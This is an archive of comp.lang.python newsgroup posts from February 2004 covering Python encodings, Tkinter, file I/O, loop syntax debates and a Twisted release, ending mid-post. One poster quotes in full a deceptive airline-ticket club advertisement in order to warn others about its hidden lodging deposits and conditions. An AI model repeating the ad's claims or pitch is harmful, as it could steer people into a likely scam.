References: <c0gagj$m6m$06$1@news.t-online.com>
Message-ID: <4vRWb.53552$Wa.33137@news-server.bigpond.net.au>

Achim Domma:

> data = codecs.open('path_to_file','rb','???').read()
>
> I tried to use UCS2 for the ???, but this encoding does not exist. A
posting
> found via google supposes to use UTF-16 but this is not the same and
raises
> an error.

   It is better to show the error message when sending queries to a news
group. You may want to look at the 'errors' argument which can be one of:

'strict' Raise ValueError (or a subclass); this is the default.
'ignore' Ignore the character and continue with the next.
'replace' Replace with a suitable replacement character
'xmlcharrefreplace' Replace with the appropriate XML character reference
'backslashreplace' Replace with backslashed escape sequences.

   Take a look at the results after using, say, 'backslashreplace' and you
may find that much of your file is not UTF-16 or that it is byte swapped or
that there are just a few bad characters in a header or similar.

   Neil




From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Sun Feb  1 14:41:02 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 01 Feb 2004 20:41:02 +0100
Subject: variable creation from a pathname
In-Reply-To: <DZaTb.237078$_P.8115356@news4.tin.it>
References: <zoaTb.176324$VW.7187727@news3.tin.it>
	<401d36c8$0$315$e4fe514c@news.xs4all.nl>
	<DZaTb.237078$_P.8115356@news4.tin.it>
Message-ID: <401d5651$0$318$e4fe514c@news.xs4all.nl>

gimar wrote:

> Thank you very much.
> If myvalue=123 could be myvalue=[], is string formatting also possible ?

I don't understand, what is it that you want to do exactly?
My code was only an example, you can use any python statement in
the exec() call... So the answer to your question is probably "yes"
but I can't write it down because I don't know what you want to do.

--Irmen




From peter at engcorp.com  Tue Feb 17 10:50:43 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 17 Feb 2004 10:50:43 -0500
Subject: Creating Self Extracting Zip using Python
References: <c0qc5j$2g52$1@news.hgc.com.hk>
	<c0r3k0$qo1$1@news3.tilbu1.nb.home.nl>
	<c0tdvf$rnt$1@news.hgc.com.hk>
Message-ID: <40323853.1704B48@engcorp.com>

Calvin FONG wrote:
> 
> By the way, what does HTH stands for?

Google is your friend, as usual. :-)

http://www.google.ca/search?q=acronym+hth

-Peter


From miki.tebeka at zoran.com  Sun Feb  8 04:12:39 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 8 Feb 2004 01:12:39 -0800
Subject: Recognize structures in Images
References: <opr20dblac1bpyqk@news.swissonline.ch>
Message-ID: <4f0a9fdb.0402080112.906b07c@posting.google.com>

Hello David,

> I want to write a program in Python which can regonize structures in 
> images (e.g. a person's mouth in a picture of a face) and don't know how 
> to start...
Learn about Image recognition :-)

Python has a wonderful library for handling images call PIL
(http://www.pythonware.com/products/pil/)

HTH.
Miki


From me at privacy.net  Tue Feb  3 17:21:17 2004
From: me at privacy.net (Duncan Booth)
Date: 3 Feb 2004 22:21:17 GMT
Subject: assignment statements: lists vs. strings
References: <3e96ebd7.0402020750.3b0b9b82@posting.google.com>
	<3e96ebd7.0402030333.7c303cfb@posting.google.com>
Message-ID: <Xns9484E363BA7BDduncanrcpcouk@127.0.0.1>

klaus_neuner82 at yahoo.de (Klaus Neuner) wrote in 
news:3e96ebd7.0402030333.7c303cfb at posting.google.com:

> Thank you all. I have understood the point now. 
> 
> Klaus
> 
> I would like to ask (Duncan) another question, although it is off
> topic: I have seen those small photographs in the header of articles
> quite often. How are they produced?
> 

Do a Google search for X-Face. Some newsreaders recognise the X-Face header 
line as containing a small 48x48 pixel monochrome bitmap. You can download 
programs to convert from more usual bitmap formats into X-Face format then 
you just have to include the header line in all your posts; most 
newsreaders will let you add custom header lines fairly easily.




From fumanchu at amor.org  Thu Feb 26 11:19:52 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Thu, 26 Feb 2004 08:19:52 -0800
Subject: Python scripts in IIS
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561DC6@opus.amorhq.net>

Andrew Clover wrote:
> I can't agree with this at all. CGI is the only standard we can
> currently use to write cross-platform scripts. ASP is fine if you want
> to be locked to IIS; coding to mod_python limits you to Apache.
> I'm not saying that ASP or mod_python are unworthy
> technologies, but choosing one of them will tie your 
> subsequent choices a tad.

But only a tad. The trick is to use them transparently:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/225299
(which I'll actually be updating shortly).


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From cjw at sympatico.ca  Sat Feb  7 17:38:50 2004
From: cjw at sympatico.ca (Colin J. Williams)
Date: Sat, 07 Feb 2004 17:38:50 -0500
Subject: pdb module and threaded code
In-Reply-To: <mailman.1280.1076032487.12720.python-list@python.org>
References: <mailman.1280.1076032487.12720.python-list@python.org>
Message-ID: <402568FA.5040409@sympatico.ca>

You might consider Boa.  It seems to have more success with 
multi-threaded programs on Windows XP.

Colin W.

Nir of the Waves wrote:
> My script uses threads from the threading module
> 
>  
> 
> I try do debug it with the PDB module.
> 
> But the debugger ignores breakpoints to code that is executed by threads
> 
> How can this be worked around
> 
> Did I do something wrong?
> 
>  
> 
> I use:
> 
>  
> 
> Pdb.run('mymodule.main()', globals(), locals())
> 
>  
> 
>  
> 



From cnoviello at hotmail.com  Thu Feb  5 14:40:27 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Thu, 5 Feb 2004 19:40:27 +0000 (UTC)
Subject: [ANN]PyCrash 0.2 released
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
	<iQwUb.180248$4F2.22043362@twister.nyc.rr.com>
Message-ID: <4cef3fb43b8b1770f4210ad3f3bf75c5.46955@mygate.mailgate.org>

> An easy solution for you is to specify Python license with your code. 
> (And I would be personally grateful)
> 
> thanks,
> max

Ok, I'll take this in consideration for future releases of PyCrash.




-- 
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG


From alloydflanagan at comcast.net  Mon Feb  2 10:30:24 2004
From: alloydflanagan at comcast.net (A. Lloyd Flanagan)
Date: 2 Feb 2004 07:30:24 -0800
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>
Message-ID: <e838aa6e.0402020730.3d45c9b1@posting.google.com>

LittleDanEhren at yahoo.com (Daniel Ehrenberg) wrote in message news:<711c7390.0401291301.3f95794 at posting.google.com>...
> Can anyone show me how to so much as alias "for" to "each" in Python
> or allow block syntax at all without hacking the C source code?
> 

I think the point is, why on earth would you want to do something like
that?  If you want a language you can use to make programs that make
no sense to anyone but the author, Perl should be more than sufficient
for your needs.


From http  Sun Feb  1 18:38:37 2004
From: http (Paul Rubin)
Date: 01 Feb 2004 15:38:37 -0800
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<401ce2b0$0$282$edfadb0f@dread12.news.tele.dk>
Message-ID: <7xfzdus742.fsf@ruckus.brouhaha.com>

Max M <maxm at mxm.dk> writes:
> But the biggest problem is without a doubt a lack of caching.
> 
> A subproblem here is that the sites are designed without caching
> considderations in mind.
> 
> A Pentium 133 can easily fill up a 10Mbit line. That is a lot of requests.
> 
> So if you have a system that can generate static pages, that Apache
> can serve you can have really fast systems.

I'd like to think that a well designed system can serve dynamic pages
almost as fast as static ones.  If the page says "Hi <username>" at
the top, all it really needs to be doing is concatenating a few
in-memory strings together before serving the page.

The one way where static might win is if mod_gzip is a big cpu load.
You could cache pages in compressed form.  However, even that may not
matter much.  I believe gzip format lets you concatenate compressed 
strings or files together, and still have them uncompress properly.


From news at fluidobjects.com  Tue Feb 17 22:50:15 2004
From: news at fluidobjects.com (Maxim Khesin)
Date: Wed, 18 Feb 2004 03:50:15 GMT
Subject: Watching NT FileSystem Events
In-Reply-To: <c0um4j$8tj$04$1@news.t-online.com>
References: <c0um4j$8tj$04$1@news.t-online.com>
Message-ID: <XhBYb.149455$cM1.28757861@twister.nyc.rr.com>

in win32all extension from Mark Hammond you shall seek 
FindFirstChangeNotification (I think it is in win32api module).

Ingo Blank wrote:
> Hi all,
> 
> I'm looking for a Python extension, which monitors Windows NT/2000/XP file
> system events and calls back to Python code.
> 
> Any pointers are greatly appreciated.
> 
> Thanks
> --ibl
> 
> 
> 


From aahz at pythoncraft.com  Thu Feb  5 08:54:29 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 08:54:29 -0500
Subject: Creating a variable of a specific type
References: <mailman.1236.1075978481.12720.python-list@python.org>
	<bvtei9$10enm4$1@ID-111250.news.uni-berlin.de>
Message-ID: <bvthul$ogh$1@panix2.panix.com>

In article <bvtei9$10enm4$1 at ID-111250.news.uni-berlin.de>,
Diez B. Roggisch <nospam-deets at web.de> wrote:
>
>Now back to your problem: I don't know right from my head what socket
>requires as inet-type, but I guess its a tuple of some sort. You don't need
>to declare a variable for that - just use it. If you need to check for a
>symbol not beeing initialized, simply use None as value, like here:
>
>address = None
>if address:
>  do_something(address)
>
>None is considered false. You might be more explicit, by using
>
>if address == None:
>
>but thats a matter of taste (to me, at least...)

No, that's not a matter of taste, it's a matter of incorrect coding.
Using ``==`` calls a method on address, which could return true even if
address isn't None.  Much better to use ``is``, which is guaranteed to
return true only if address really *is* None.

Note that in the absence of special methods for comparison, all Python
objects are true, so your original formulation is especially appropriate.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From http  Thu Feb 19 14:00:03 2004
From: http (Paul Rubin)
Date: 19 Feb 2004 11:00:03 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
	<slrnc386fn.2u8.joe@gate.notcharles.ca>
	<7xd68bzs79.fsf@ruckus.brouhaha.com>
	<slrnc38nmb.3g8.joe@gate.notcharles.ca>
	<7xy8qzmrgd.fsf@ruckus.brouhaha.com>
	<40347D85.85A7A91B@alcyone.com>
	<7xfzd7v21v.fsf@ruckus.brouhaha.com>
	<slrnc393c9.3q4.joe@gate.notcharles.ca>
Message-ID: <7xeksqhp3g.fsf@ruckus.brouhaha.com>

Joe Mason <joe at notcharles.ca> writes:
> > but of course from my Lisper's point of view, the whole idea that a
> > statement and an expression are fundamentally different things is
> > itself a sign of a corrupted mind.  I'm not willing to accept the
> 
> Aha!  Now I see.  Python is not Lisp.  It has tons of imperative
> constructs that don't return values.  While loops, for instance.

That's merely a side effect of the parser not giving you a way to
capture the value of a while loop.  In Lisp, while loops return a
value.  In Python, the value is, heh, "implicitly" discarded.

> Corrupt or not, though, the Lisp way is "everything implicitly returns a
> value".  I'm not arguing for or against assignment expressions - I think
> it's pretty trivial.  I'm just saying you can't claim they aren't
> implicit.  And the Zen of Python has things to say about that.

Is the value of "2+2" also not implicit by the same logic?  You're
using the word implicit in a pretty strange way, I think.

> As a Lisper, shouldn't you be avoiding assignments because of their
> side effects anyway?  Surely you should be pushing for "let" bindings.

Never heard of setq?  ;-)

> Speaking of which, even though I'm not particularly interested in
> new syntax - break was fine for granpappy, and it's good enough for
> me - let wouldn't be a bad keyword for the initialization section of
> the loop.

I find the proposed new loop syntax very confusing.  I do see some
benefit for fixing up the initialization issue but think it should be
done at the top of the loop, not spread all through it.  C's 'for'
loop is better, because it puts that stuff at the top.  


From grey at despair.dmiyu.org  Mon Feb 16 21:07:46 2004
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Tue, 17 Feb 2004 02:07:46 GMT
Subject: 6 Qustions about Python: Does it do GUI?  more...
References: <mailman.11.1076682913.31398.python-list@python.org>
	<102pqn1cls6vde0@news.supernews.com>
Message-ID: <slrnc32tri.c14.grey@dmiyu.org>

On 2004-02-13, John Roth <newsgroups at jhrothjr.com> wrote:
> Yes and no. Yes, you can use one of several GUI toolkits
> (an interface to TK comes with Python) to construct user
> interfaces. No, it does not have the ease of drag and drop
> building UI and data base programs that VB does.

Yes and kind-of.  See Boa-constructor.  :P

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
       PGP Key: 8B6E99C5       | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From scott.b.drummonds.nospam at intel.com  Wed Feb 25 11:35:43 2004
From: scott.b.drummonds.nospam at intel.com (Scott Brady Drummonds)
Date: Wed, 25 Feb 2004 08:35:43 -0800
Subject: Fast File Input
Message-ID: <c1iit0$2jj$1@news01.intel.com>

Hi, everyone,

I'm a relative novice to Python and am trying to reduce the processing time
for a very large text file that I am reading into my Python script.  I'm
currently reading each line one at a time (readline()), stripping the
leading and trailing whitespace (strip()) and splitting it's delimited data
(split()).  For my large input files, this text processing is taking many
hours.

If I were working in C, I'd consider using a lower level I/O library,
minimizing text processing, and reducing memory redundancy.  However, I have
no idea at all what to do to optimize this process in Python.

Can anyone offer some suggestions?

Thanks,
Scott

-- 
Remove ".nospam" from the user ID in my e-mail to reply via e-mail.




From simonb at NOTTHISBIT.webone.com.au  Mon Feb 23 18:01:37 2004
From: simonb at NOTTHISBIT.webone.com.au (Simon Burton)
Date: Tue, 24 Feb 2004 10:01:37 +1100
Subject: numarray bug or my?
References: <c1dtvc$m53$1@graf.cs.uni-magdeburg.de>
Message-ID: <pan.2004.02.23.23.01.37.704171@NOTTHISBIT.webone.com.au>

On Mon, 23 Feb 2004 23:14:03 +0100, Marco Bubke wrote:

...
> Ok, its in Pyrex and has a bug in
> flat_view = array_to_int(viewport),
> but I don't know why. If I change the code to flat_view =
> array_to_double(viewport) its runnig without glitches. I really dont
> understand it.
> 
> Thx
> 
> Marco

Yes, me too. I wasn't sure if NA_InputArray was supposed
to be able to handle type conversions, so I used the python
method:

array = array.astype(numarray.Int32)

and then used NA_InputArray on that.

Simon.



From wendyal.11jf9d at webfrustration.com  Thu Feb 12 18:43:39 2004
From: wendyal.11jf9d at webfrustration.com (wendyal)
Date: Thu, 12 Feb 2004 23:43:39 GMT
Subject: Limited time - pay nothing for airline tickets uvsilwpot dnmmx
References: <mailman.1054448835.16088.python-list@python.org> 
Message-ID: <9cb24edf72b7b851110eb25e69e24e0f@news.teranews.com>

Edwina Bond wrote:
> [B]2 Round Trip Airline Tickets, a $1,600 Value.&nbsp; Now Only $100!
> 
> &nbsp;
> 
> Get 2 Round Trip Airline Tickets with your paid membership to the
> Travel Values Alert Club.&nbsp; Membership is an incredibly low one
> time fee of $100.
> &nbsp;
> 

I can't believe I fell for this offer (at the higher telemarket price
of $185).  As they say "you never get something for nothing".  After
more than a dozen emails back and forth to make sure I wasn't not doing
something and getting disqualified, and managing to jump all the hoops,
I got as far as the "Reservation Request Form".  This was the first
feet.  Here are there instructions.  They come with an address (2415
East Camelback Road, Suite 700, Phoenix, AZ 85016) but no phone number
or email address.  On the back is a very basic form with no hints of
what airports they fly out of, where they fly to, or help with the
lodging.  Note however the the cost of lodging is $250 per person for
an unknown length of time, so, so much for "free tickets".  I love the
fact that we have to be ready to travel, but we have to leave 30 days
between possible departure dates.  This is not what the person I talked
to told me I was getting in to.  I'd like my money back, thank you!

Here's what the letter says that you finally get from them in a plain
white envelope that I almost missed in the mail.

> To claim you promotional airfare, fill out this Form and send it to
> address listed above WHEN YOU ARE READY TO TRAVEL.  The RRF
> (Reservation Request Form) must be filled out in its entirety to be
> processed.  The RRF is valid for 2 years from the issue date listed
> above. Promotional tickets are not available from all departure
> points and are limited in quantity.  Not all destinations will be
> available every date.  Two alternate departure dates, a minimum of 30
> days apart, must be selected.  Lodging must be booked to claim your 2
> airlaine tickets.
> 
> For each destination, you will be provided with a quote of the
> lodging available in that area and the minimum nuimber of nights that
> must be booked.  Prices are per person, per night based on double
> occupancy.  A $250 per person hotel deposit must accompany your RRF. 
> Deposits are accepted in the form of certified funds only.  Please
> include a cashiers check or money or money order made payable to
> First Choice Vacations.  Any monies not used for your hotel stay will
> be returned to you upon request once your travel is completed.
> 
> It is mandatory that you provide an E-mail address or fax number that
> is readily available when you return the RRF.  Since your quote is
> valid for 48 hours, it will either be emailed or faxed to you. 
> Please make sure you specify your Primary and Secondary Phone Numbers
> in order of accessibility.
> 

Here's the rest of their offer.  Don't get suckered in and don't let
your friends do it either!

> 
> Special Offer For All Airline Travelers
> 
> This is a limited offer. We have available 50 pairs of round trip
> airline tickets for travel World Wide.
> 
> We got our hands on 50 pairs of promotional round trip plane tickets
> and we will give them to the next 50 people who join the &quot;Travel
> Values Alerts Club&quot;.&nbsp; The cost&nbsp; to join is $100. The
> value of the Airline Tickets is up to $1,600. Think about it, would
> you pay $100 to join a program that gives you $1,600 in Airline
> Tickets.&nbsp; This is the best travel offer you will find
> anywhere.&nbsp; Our agreement with the promotions company requires us
> to only give these tickets to members of our program.&nbsp; JOIN
> NOW!
> 
> These tickets can be used to fly to just about anywhere and have a
> value of up to $1600! Just join the &quot;Travel Values Alerts
> Club&quot;, right now,  and we'll pick up the plane ticket tab for
> your next trip to Hawaii or wherever you would like to go!&nbsp; JOIN
> NOW!
> 
> This is not a time share or other &quot;gotcha&quot; type program.
> There are very few restrictions and the Airline Vouchers are good for
> 2 (two) years from dateof issue. All flights are on major airlines.
> Don't delay, this offer will not last and is limited to the stock on
> hand. Get your Airline Tickets (up to a $1,600 value) now for joining
> our program for only $100.&nbsp; JOIN NOW!
> 
> Call our order processing department NOW, for your free Airline
> Ticket Vouchers 1-800-768-1511
> 
> 
> 
> 
> Airline Ticket Program Details:
> 
> - The program works with every major airline and most major resort,
> condo and hotel chains.
> 
> - You must book your Hotel Stay at your point of destination with
> the promotions agency. They are a fully licensed and accredited
> national travel agency.
> 
> - Some hotels may have a minimum stay requirement. But the minimum
> stay will be no longer than a regular vacation (no longer than 5-7
> days) and you do nothave to stay at the hotel the number of days
> booked.
> 
> - You must depart from an international US airport and book 60 days
> in advance or longer for peak holiday seasons. 
> 
> - You will have to pay a $20 fee to cover the shipping and handling
> costs in processing the trip.
> 
> - You will receive your reservation voucher and booking information
> via e-mail immediately upon your order.
> 
> - You mail your voucher in with your $20 fee to cover shipping and
> handling.
> 
> - You will then be sent a valid Reservation Request Form in about
> 6-8 weeks which is good for 2 years and asks for your trip details.
> 
> - When you are ready to go on a trip and redeem your free airfare,
> send inthe Reservation Request Form. You will then be sent the
> lodging available for the dates you requested in the area that you
> are traveling too.
> 
> - You will contact the agency and book your hotel, resort or condo
> reservation.
> 
> That's it. A very simple and inexpensive way to get Airline Tickets
> worth up to a $1,600 value.&nbsp; JOIN NOW!
> &nbsp;
> 
> 
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> 
> Join Now andreceive your 2 Free Round Trip Airline Tickets!
> &nbsp;
> 
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> 
> Call our order processing department NOW, for your free Airline
> Ticket Vouchers 1-800-768-1511   
> &nbsp;
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> To unsubscribe, Click Here:
> 
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> 
> &nbsp;
> 
> 
> 
> 
> &nbsp;
> 
> npyfzizix wnda  cbvy vlefs yjzdyktjvzofvwy hbls drhuw iffgtunodf
> gzlgond s pfcui  n ol [/B]
--
wendyal
------------------------------------------------------------------------
posted via www.WebFrustration.com 



From aahz at pythoncraft.com  Tue Feb 17 13:39:06 2004
From: aahz at pythoncraft.com (Aahz)
Date: 17 Feb 2004 13:39:06 -0500
Subject: mailing list problems?
References: <20040214221839.GA22649@nl.linux.org>
	<200402162153.37084.tim.jarman@lineone.net>
	<20040217093626.GA3162@nl.linux.org>
	<mailman.70.1077037788.31398.python-list@python.org>
Message-ID: <c0tn4a$29h$1@panix3.panix.com>

In article <mailman.70.1077037788.31398.python-list at python.org>,
Barry Warsaw  <barry at python.org> wrote:
>On Tue, 2004-02-17 at 04:36, Gerrit wrote:
>>
>> I think the news2mail gateway is broken. This e-mail is cc'ed to the
>> list-owner and the postmaster, hopefully they are able to fix it.
>
>It appears cron on mail.python.org wasn't running since the 12th.  I
>don't know why that is, but I restarted it, and watching the Mailman log
>files I can see tons of messages now being gated from the newsgroup to
>the mailing list.

cron also wasn't running on creosote; I wonder if there's any connection?

(For the onlookers, creosote.python.org == www.python.org)
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From jeremiah at devmodul.com  Sun Feb 29 19:31:47 2004
From: jeremiah at devmodul.com (Jeremiah Foster)
Date: Mon, 01 Mar 2004 00:31:47 GMT
Subject: journal stuff
Message-ID: <Tvv0c.443421$na.1067271@attbi_s04>

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From aahz at pythoncraft.com  Tue Feb 17 13:40:33 2004
From: aahz at pythoncraft.com (Aahz)
Date: 17 Feb 2004 13:40:33 -0500
Subject: PractiCalc - A New CALCULATOR
References: <mailman.73.1077037791.31398.python-list@python.org>
Message-ID: <c0tn71$2m4$1@panix3.panix.com>

In article <mailman.73.1077037791.31398.python-list at python.org>,
Thoro <info at practicalc.com> wrote:
>
>PractiCalc - A brand new CALCULATOR for your PC.
>
>More powerful than your usual calculator - more user-friendly than a
>spreadsheet.

Assuming this isn't spam, I just discarded a post c.l.py.announce; if
this has any Python relevance, please resubmit your post, making the
connection clear.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From richardshea at fastmail.fm  Mon Feb  9 05:33:33 2004
From: richardshea at fastmail.fm (Richard Shea)
Date: 9 Feb 2004 02:33:33 -0800
Subject: internationalisation/gettext - any sample (.MO) data available ?
References: <282f826a.0402021907.2266c6b4@posting.google.com>
	<bvopcd$kt1$01$1@news.t-online.com>
	<282f826a.0402050231.6bb16bcc@posting.google.com>
	<bvvdmj$vfh$06$1@news.t-online.com>
Message-ID: <282f826a.0402090233.25f03c5d@posting.google.com>

Hi Martin - Just wanted to let you know that I tried again using the
set lang=german and it all worked beautifully ! It's really quite
weird to see it happen even on a tiny example like this. Thanks very
much for your help I appreciate it very much.

regards

Richard Shea.


From guettli at thomas-guettler.de  Wed Feb 18 06:22:30 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Wed, 18 Feb 2004 12:22:30 +0100
Subject: Sample Code for Performance Counters Implementation
References: <c0v81a$sra$1@news.mch.sbs.de>
Message-ID: <pan.2004.02.18.11.22.30.487734@thomas-guettler.de>

Am Wed, 18 Feb 2004 14:02:08 +0530 schrieb Saravanan D:

> Hello,
> 
> Can any one provide the sample Python code which implements Performance
> Counters ?

Hello,

What do you mean with "Performance Counters"?

Maybe the module "profile" contains what you need.

 thomas


From itamar at itamarst.org  Wed Feb 25 23:09:25 2004
From: itamar at itamarst.org (Itamar Shtull-Trauring)
Date: Wed, 25 Feb 2004 23:09:25 -0500
Subject: ANN: Twisted 1.2.0 networking framework
Message-ID: <1077768564.789.85.camel@sheriffpony>

Twisted is an event-driven networking framework for server and client
applications.

For more information, visit http://www.twistedmatrix.com, join the list
http://twistedmatrix.com/cgi-bin/mailman/listinfo/twisted-python or
visit us on #twisted at irc.freenode.net.

The Twisted from Scratch tutorial is a good starting point for learning
Twisted: http://twistedmatrix.com/documents/howto/tutorial


What's New in 1.2.0
===================

- SFTP server implementation for the SSH server.

- Improved wxPython support.

- IMAPv4 enhancements and bug fixes.

- Allow disabling display of tracebacks in error web pages.

- ident protocol implementation (client and server).

- Support mapping arbitrary child FDs when running processes on POSIX.

- Initial SOAP client support (using SOAPpy).

- Partial download support for FTP client.

- Web framework now supports different handlers for different methods
(e.g. GET or POST).

- Coverage support in the trial testing framework.

- Bug fixes and documentation and feature enhancements.


What is Twisted?
================

Twisted is an event-driven framework for building networked clients and
servers.  It contains a powerful and simple networking core, a
full-featured suite of interoperable protocols, among them a powerful
web server and applications framework.

Twisted supports many event loops for both server apps and GUI
integration on the client side, including:

 - Win32 events, including GUI support
 - Mac OS X
 - GTK+
 - GTK+ 2
 - Qt
 - wxPython
 - Tkinter

Twisted can run protocols over TCP, SSL, UDP, multicast, Unix sockets
and subprocesses. It also includes scheduling support, threading
integration, RDBMS event loop integration and other basic requirements
for networked applications.

Also included are implementations of many protocols. In some cases this
includes complete frameworks providing facilities on top of the base
protocol:

 - SSH
 - IMAP
 - DNS
 - FTP (client only, server needs rewrite)
 - HTTP, including a complete web framework
 - Jabber
 - SIP
 - XML-RPC server and client frameworks
 - SOAP server framework
 - NNTP and complete NNTP server framework
 - SOCKSv4 (server only)
 - SMTP
 - IRC
 - telnet
 - POP3
 - AOL's instant messaging TOC
 - MSN messaging
 - OSCAR, used by AOL IM as well as ICQ (client only)
 - MouseMan serial mice, and GPS devices
 - Twisted Perspective Broker, a remote object protocol





From rowen at cesmail.net  Mon Feb  2 13:46:27 2004
From: rowen at cesmail.net (Russell E. Owen)
Date: Mon, 02 Feb 2004 10:46:27 -0800
Subject: where should config files go in Windows?
Message-ID: <rowen-A76EB5.10462702022004@nntp2.u.washington.edu>

I'm writing a cross-platform app. Presently it runs on unix and MacOS X, 
but eventually I'd like to get it working on Windows (nothing older than 
2000).

For unix and MacOS X I store settings in ~/.TUIPrefs and ~/.TUIGeom and 
allow extensions to be stored in ~/TUIAdditions/ and <app's parent 
dir>/TUIAdditions/.

Is the home dir easily accessible from vanilla Python (and if so, how do 
I get there)? Is there a better directory (I'm really not keen to mess 
with the registry) or some special add-on library that I'll need?

Also, is there something simple like unix's leading "." that makes 
Windows files invisible?

Any help appreciated. I tried google and found this topic discussed 
several years ago, but the answers were confusing and didn't seem to 
apply to current Windows.

-- Russell


From eric.brunel at N0SP4M.com  Wed Feb 25 05:38:18 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Wed, 25 Feb 2004 11:38:18 +0100
Subject: Tkinter: unicode inconsistency on Windows
References: <c1fepj$rkv$1@news-reader4.wanadoo.fr>
Message-ID: <c1htfn$mlo$1@news-reader2.wanadoo.fr>

Eric Brunel wrote:
> Hi all,
> 
> I'm in the process of localizing a Tkinter application and I'm 
> struggling with a problem for which I can't figure out a solution. The 
> following code:
> 
> -------------------------------
> from Tkinter import *
> 
> root = Tk()
> root.tk.call('encoding', 'system', 'utf-8')
> mb = Menu(root)
> root.configure(menu=mb)
> m = Menu(mb)
> ## s1 is UTF8 japanese for hi.ra.ga.na
> s1 = '\xe3\x81\xb2\xe3\x82\x89\xe3\x81\x8c\xe3\x81\xaa'
> mb.add_cascade(label=s1, menu=m)
> ## s2 is UTF8 japanese for KA.TA.KA.NA
> s2 = '\xe3\x82\xab\xe3\x82\xbf\xe3\x82\xab\xe3\x83\x8a'
> m.add_cascade(label=s2)
> 
> root.mainloop()
> -------------------------------
> 
> works perfectly well on Unix (Linux Mandrake 8.0), but not on Windows 
> 2k: the menu item is correctly displayed as japanese katakana 
> characters, but the menu title is displayed incorrectly in a way that 
> looks like a wrong encoding has been used. I tried to explicitely pass 
> unicode strings to Tkinter methods (unicode(s?, 'utf-8')) and/or to 
> force the system encoding at tcl/tk's level via root.tk.call('encoding', 
> 'system', 'utf-8'), but nothing seems to help.
> 
> AFAICS, the menu bar accepts only titles encoded in latin1; any other 
> encoding ends up messed up.
> 
> So I'm stuck: I can't find any way to display menu titles in anything 
> else than latin1 under Windows. Here are the versions I use:
>  - Python 2.1.1
>  - tcl/tk 8.3.2
>  - Windows 2k, french version if it changes anything

Replying to myself: I gathered a few information from several sources and I 
finally  concluded that the problem lied in the file FixTk.py, as described in 
http://minilien.com/?UThwyhrIGF

The reason for this problem is that the tcl/tk libraries get included before the 
correct setup allowing them to find their available encodings was made.

So I replaced the file FixTk.py in <python install dir>/Lib/lib-tk by:

---FixTk.py--------------------
import sys, os
ver = '8.3'  # You may have to replace this with your actual tcl/tk version
for t in "tcl", "tk":
     v = os.path.join(sys.prefix, "tcl", t+ver)
     if os.path.exists(os.path.join(v, "tclIndex")):
         os.environ[t.upper() + "_LIBRARY"] = v
-------------------------------

This does not really solve the problem, since japanese characters still do not 
show up in menu titles, even if a japanese font is installed. But it works with 
the current Windows language: menu titles in french with a french version of 
Windows are correctly displayed.
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From andymac at bullseye.apana.org.au  Fri Feb 20 18:24:36 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Sat, 21 Feb 2004 10:24:36 +1100 (EST)
Subject: int vs. float in benchmark testing
In-Reply-To: <4036309B.1B0E0AAE@engcorp.com>
References: <c152au$t58$1@solaris.cc.vt.edu> <40361F50.3D6153C8@engcorp.com>
	<c15899$ag1$1@solaris.cc.vt.edu> <4036309B.1B0E0AAE@engcorp.com>
Message-ID: <20040221102316.Q45031@bullseye.apana.org.au>

On Fri, 20 Feb 2004, Peter Hansen wrote:

> Bart Nessux wrote:
> >
> > Uh, yes. We're benchmarking different processors. An IBM PPC 970 does
> > things differently than an Intel P4. Running the same bit of Python code
> > on both makes for an interesting comparison. Since processors handle
> > ints and floats differently, it is useful for me to test them both.
>
> Then why not get yourself some real benchmarks?

Marc-Andre Lemburg's PyBench covers this sort thing.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen  ACT  2616
Web:    http://www.andymac.org/               |        Australia



From whitedw at NOSPAMcox.net  Sat Feb 21 05:17:34 2004
From: whitedw at NOSPAMcox.net (Derek W)
Date: Sat, 21 Feb 2004 02:17:34 -0800
Subject: Python program organization
Message-ID: <6fGZb.25259$tM5.21166@fed1read04>

Hello all,

I have a few questions about the best way to organize a large Python 
